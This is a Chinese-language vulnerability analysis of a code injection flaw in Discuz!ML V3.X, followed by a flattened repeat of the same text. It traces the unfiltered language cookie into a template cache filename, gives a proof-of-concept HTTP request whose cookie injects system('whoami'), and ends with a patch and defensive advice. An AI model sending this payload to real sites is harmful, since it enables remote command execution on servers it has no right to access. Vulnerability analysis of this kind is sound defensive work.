Discuz!ML V3.X 代码注入分析
字数 1109 2025-08-27 12:33:31

Discuz!ML V3.X 代码注入漏洞分析与防御

漏洞概述

Discuz!ML(多语言版)V3.X版本存在一个严重的代码注入漏洞,攻击者可以通过控制语言参数(language)实现任意代码执行。该漏洞源于系统在处理用户可控的语言参数时未进行有效过滤,导致攻击者可以操纵临时模板文件的生成路径和内容。

漏洞定位

  1. 漏洞触发点source/module/portal/portal_index.php 第32行
  2. 核心函数template() 函数位于 source/function/function_core.php 524-655行
  3. 关键代码
    $cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '').templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
    

漏洞原理分析

  1. 参数传递链

    • 系统从Cookie中获取language参数值($lng
    • 该值被赋给DISCUZ_LANG常量(source/class/discuz/discuz_application.php 341行)
    • DISCUZ_LANG用于构造模板缓存文件名
    • 最终通过include_once包含该缓存文件
  2. 关键问题

    • 从Cookie获取的$lng参数未经任何过滤
    • 该参数直接用于构造文件路径
    • 攻击者可以注入恶意代码到缓存文件名中

漏洞利用

  1. 利用条件

    • 目标系统使用Discuz!ML V3.X版本
    • 攻击者能够修改Cookie中的language参数
  2. PoC示例

    GET /forum.php HTTP/1.1
    Host: test.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: Z3T2_2132_saltkey=UoA95q3Q; Z3T2_2132_language=en'.system("whoami").'; Z3T2_2132_lastvisit=1562765759; Z3T2_2132_sid=fENq7z; Z3T2_2132_lastact=1562769440%09index.php%09; Z3T2_2132_sendmail=1; Z3T2_2132_onlineusernum=1
    Upgrade-Insecure-Requests: 1
    
  3. 利用效果

    • 执行系统命令(如whoami
    • 返回当前系统用户信息

影响范围

  1. 受影响版本:Discuz!ML V3.X全系列版本
  2. 受影响页面:约60多个使用template()函数的页面(如论坛主页)

修复方案

  1. 临时修复
    source/class/discuz/discuz_application.php第338行之后、341行之前添加过滤代码:

    $lng = str_replace(array('.', '/', '\\', "'", '"'), '', $lng);
    
  2. 彻底修复

    • 更新到官方最新版本
    • 对所有用户输入参数进行严格过滤和验证
    • 限制文件名中可使用的字符集

防御建议

  1. 输入验证

    • 对Cookie中的language参数进行严格过滤
    • 只允许字母、数字和下划线等安全字符
  2. 输出处理

    • 在构造文件路径时进行转义处理
    • 使用白名单机制限制可用的语言选项
  3. 权限控制

    • 限制/data/template/目录的写入权限
    • 设置适当的文件系统权限
  4. 安全监控

    • 监控/data/template/目录下的文件变化
    • 记录异常的语言参数请求

总结

该漏洞展示了未经验证的用户输入如何通过文件包含导致代码执行。开发人员应始终对所有用户输入保持警惕,实施严格的输入验证和输出处理机制,特别是在构造文件路径等敏感操作时。

Discuz !ML V3.X 代码注入漏洞分析与防御 漏洞概述 Discuz !ML(多语言版)V3.X版本存在一个严重的代码注入漏洞,攻击者可以通过控制语言参数(language)实现任意代码执行。该漏洞源于系统在处理用户可控的语言参数时未进行有效过滤,导致攻击者可以操纵临时模板文件的生成路径和内容。 漏洞定位 漏洞触发点 : source/module/portal/portal_index.php 第32行 核心函数 : template() 函数位于 source/function/function_core.php 524-655行 关键代码 : 漏洞原理分析 参数传递链 : 系统从Cookie中获取 language 参数值( $lng ) 该值被赋给 DISCUZ_LANG 常量( source/class/discuz/discuz_application.php 341行) DISCUZ_LANG 用于构造模板缓存文件名 最终通过 include_once 包含该缓存文件 关键问题 : 从Cookie获取的 $lng 参数未经任何过滤 该参数直接用于构造文件路径 攻击者可以注入恶意代码到缓存文件名中 漏洞利用 利用条件 : 目标系统使用Discuz !ML V3.X版本 攻击者能够修改Cookie中的 language 参数 PoC示例 : 利用效果 : 执行系统命令(如 whoami ) 返回当前系统用户信息 影响范围 受影响版本 :Discuz !ML V3.X全系列版本 受影响页面 :约60多个使用 template() 函数的页面(如论坛主页) 修复方案 临时修复 : 在 source/class/discuz/discuz_application.php 第338行之后、341行之前添加过滤代码: 彻底修复 : 更新到官方最新版本 对所有用户输入参数进行严格过滤和验证 限制文件名中可使用的字符集 防御建议 输入验证 : 对Cookie中的 language 参数进行严格过滤 只允许字母、数字和下划线等安全字符 输出处理 : 在构造文件路径时进行转义处理 使用白名单机制限制可用的语言选项 权限控制 : 限制 /data/template/ 目录的写入权限 设置适当的文件系统权限 安全监控 : 监控 /data/template/ 目录下的文件变化 记录异常的语言参数请求 总结 该漏洞展示了未经验证的用户输入如何通过文件包含导致代码执行。开发人员应始终对所有用户输入保持警惕,实施严格的输入验证和输出处理机制,特别是在构造文件路径等敏感操作时。